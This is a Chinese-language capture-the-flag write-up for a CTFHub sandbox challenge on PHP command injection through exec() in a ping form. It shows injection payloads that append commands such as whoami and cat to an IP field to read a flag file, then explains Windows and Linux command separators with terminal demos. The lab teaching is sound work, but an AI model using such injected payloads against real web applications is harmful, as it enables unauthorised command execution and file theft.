命令注入

点击此处获得更好的阅读体验


WriteUp来源

本WP来自Jazz原创投稿

题目考点

  • PHP语言

  • exec()函数

  • 命令管道符

解题思路

开局给出源代码

源码不用怎么看

上面那个提交框 输入的是ip

然后发送了之后会通过exec函数执行命令

介绍一下管道符?

必要性不是很大

咱只需要知道这种的题&&&||| 全部给他用一遍完事

需要看详细各种管道符解释的我放到最后

这里咱们直接先试&就完事了

提交表单

http://challenge-07752b38da71f5a1.sandbox.ctfhub.com:10080/?ip=127.0.0.1%26whoami#

回显www-data说明whoami执行成功

直接 执行127.0.0.1&cat /flag

???没回显???

看一眼web目录

1
2
3
4
5
6
Array
(
[0] => 7672134566268.php
[1] => index.php
[2] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
)

直接cat 7672134566268.php

1
2
3
4
5
Array
(
[0] =>

网页上没有回显

一般遇见这种情况 咱们首先考虑两种方法 第一种,直接查看源代码

果不其然 直接在源代码中找到了

1
2
3
4
5
6
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => <?php // ctfhub{d83beba5cffb77196f3aab63}
)
</pre>

第二种方法是将文件内容base64编码出来

提交payload

127.0.0.1&cat 7672134566268.php| base64

回显:

1
2
3
4
5
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => PD9waHAgLy8gY3RmaHVie2Q4M2JlYmE1Y2ZmYjc3MTk2ZjNhYWI2M30K
)

base64解密就行了

分割线分割线分割线分割线分割线分割线分割线分割线分割线分割线分割线分割线分割线分割线分割线分割线分割线分割线分割线分割线

命令管道符相关知识

Windows

|

直接执行后面的语句:

1
2
3
4
5
6
7
8
>ping localhost | ipconfig

Windows IP 配置

未知适配器 本地连接:

媒体状态 . . . . . . . . . . . . : 媒体已断开连接
连接特定的 DNS 后缀 . . . . . . . :

||

如果前面的语句执行出错,则执行后面的语句,否则仅执行前面的语句:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
>ping 1 || ipconfig

正在 Ping 0.0.0.1 具有 32 字节的数据:
PING:传输失败。常见故障。
PING:传输失败。常见故障。
PING:传输失败。常见故障。
PING:传输失败。常见故障。

0.0.0.1 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 0,丢失 = 4 (100% 丢失),

Windows IP 配置

未知适配器 本地连接:

媒体状态 . . . . . . . . . . . . : 媒体已断开连接
连接特定的 DNS 后缀 . . . . . . . :
------------------------------------------------------------------------
>ping localhost || ipconfig

正在 Ping MSI [::1] 具有 32 字节的数据:
来自 ::1 的回复: 时间<1ms
来自 ::1 的回复: 时间<1ms
来自 ::1 的回复: 时间<1ms
来自 ::1 的回复: 时间<1ms

::1 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms

&

前后的语句均可执行,但是前面的语句如果执行结果为假(即执行失败),则仅输出后面语句的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
>ping localhost & ipconfig

正在 Ping MSI [::1] 具有 32 字节的数据:
来自 ::1 的回复: 时间<1ms
来自 ::1 的回复: 时间<1ms
来自 ::1 的回复: 时间<1ms
来自 ::1 的回复: 时间<1ms

::1 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms

Windows IP 配置

未知适配器 本地连接:

媒体状态 . . . . . . . . . . . . : 媒体已断开连接
连接特定的 DNS 后缀 . . . . . . . :

-------------------------------------------------------------
>ping l & ipconfig
Ping 请求找不到主机 l。请检查该名称,然后重试。

Windows IP 配置

未知适配器 本地连接:

媒体状态 . . . . . . . . . . . . : 媒体已断开连接
连接特定的 DNS 后缀 . . . . . . . :

&&

如果前面的语句为假,则直接报错,也不执行后面的语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
>ping l && ipconfig
Ping 请求找不到主机 l。请检查该名称,然后重试。

--------------------------------------------------
>ping localhost && ipconfig

正在 Ping MSI [::1] 具有 32 字节的数据:
来自 ::1 的回复: 时间<1ms
来自 ::1 的回复: 时间<1ms
来自 ::1 的回复: 时间<1ms
来自 ::1 的回复: 时间<1ms

::1 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms

Windows IP 配置

未知适配器 本地连接:

媒体状态 . . . . . . . . . . . . : 媒体已断开连接
连接特定的 DNS 后缀 . . . . . . . :

Linux

;

按顺序执行语句,没啥好说的。

1
2
3
4
5
6
7
8
9
root@mail ~  whoami;ifconfig
oot
r-a57920877862: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.20.0.1 netmask 255.255.0.0 broadcast 172.20.255.255
ether 02:42:b0:d0:47:08 txqueuelen 0 (Ethernet)
RX packets 259129290 bytes 91281528411 (85.0 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 259129290 bytes 91281528411 (85.0 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

|

只执行后面语句。

1
2
3
4
5
6
7
8
root@mail ~  ping 127.0.0.1|ifconfig
r-a57920877862: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.20.0.1 netmask 255.255.0.0 broadcast 172.20.255.255
ether 02:42:b0:d0:47:08 txqueuelen 0 (Ethernet)
RX packets 259129365 bytes 91281569501 (85.0 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 259129365 bytes 91281569501 (85.0 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

||

如果前面的语句执行失败,则执行后面的语句。如果前面的语句执行成功,则不执行后面的语句。

1
2
3
4
5
6
7
8
9
10
11
12
root@mail ~  ping 123 || ifconfig
connect: Invalid argument
br-a57920877862: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.20.0.1 netmask 255.255.0.0 broadcast 172.20.255.255
ether 02:42:b0:d0:47:08 txqueuelen 0 (Ethernet)
RX packets 259129513 bytes 91281648186 (85.0 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 259129513 bytes 91281648186 (85.0 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
-----------------------------------------------------------------------
root@mail ~ who || ifconfig
root pts/0 2020-06-07 20:54 (000.000.000.000)

&

如果前面的语句为假(执行失败),则执行后面的语句,否则两条语句均会执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@mail ~  ping 123 & ifconfig
1] 4120
onnect: Invalid argument
r-a57920877862: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.20.0.1 netmask 255.255.0.0 broadcast 172.20.255.255
ether 02:42:b0:d0:47:08 txqueuelen 0 (Ethernet)
RX packets 259129617 bytes 91281710419 (85.0 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 259129617 bytes 91281710419 (85.0 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
-------------------------------------------------------------------------------
oot@mail ~ whoami & ifconfig
1] 4276
oot
r-a57920877862: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.20.0.1 netmask 255.255.0.0 broadcast 172.20.255.255
ether 02:42:b0:d0:47:08 txqueuelen 0 (Ethernet)
RX packets 259129709 bytes 91281752757 (85.0 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 259129709 bytes 91281752757 (85.0 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

&&

如果前面的语句出错,则停止,否则两条语句均会执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
root@mail ~  ping 123 && ifconfig
onnect: Invalid argument
-----------------------------------------------------
root@mail ~ ping 127.0.0.1 -c 4 && ifconfig
ING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
4 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.070 ms
4 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.075 ms
4 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.092 ms
4 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.087 ms

-- 127.0.0.1 ping statistics ---
packets transmitted, 4 received, 0% packet loss, time 2999ms
tt min/avg/max/mdev = 0.070/0.081/0.092/0.008 ms
r-a57920877862: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.20.0.1 netmask 255.255.0.0 broadcast 172.20.255.255
ether 02:42:b0:d0:47:08 txqueuelen 0 (Ethernet)
RX packets 259129791 bytes 91281794424 (85.0 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 259129791 bytes 91281794424 (85.0 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0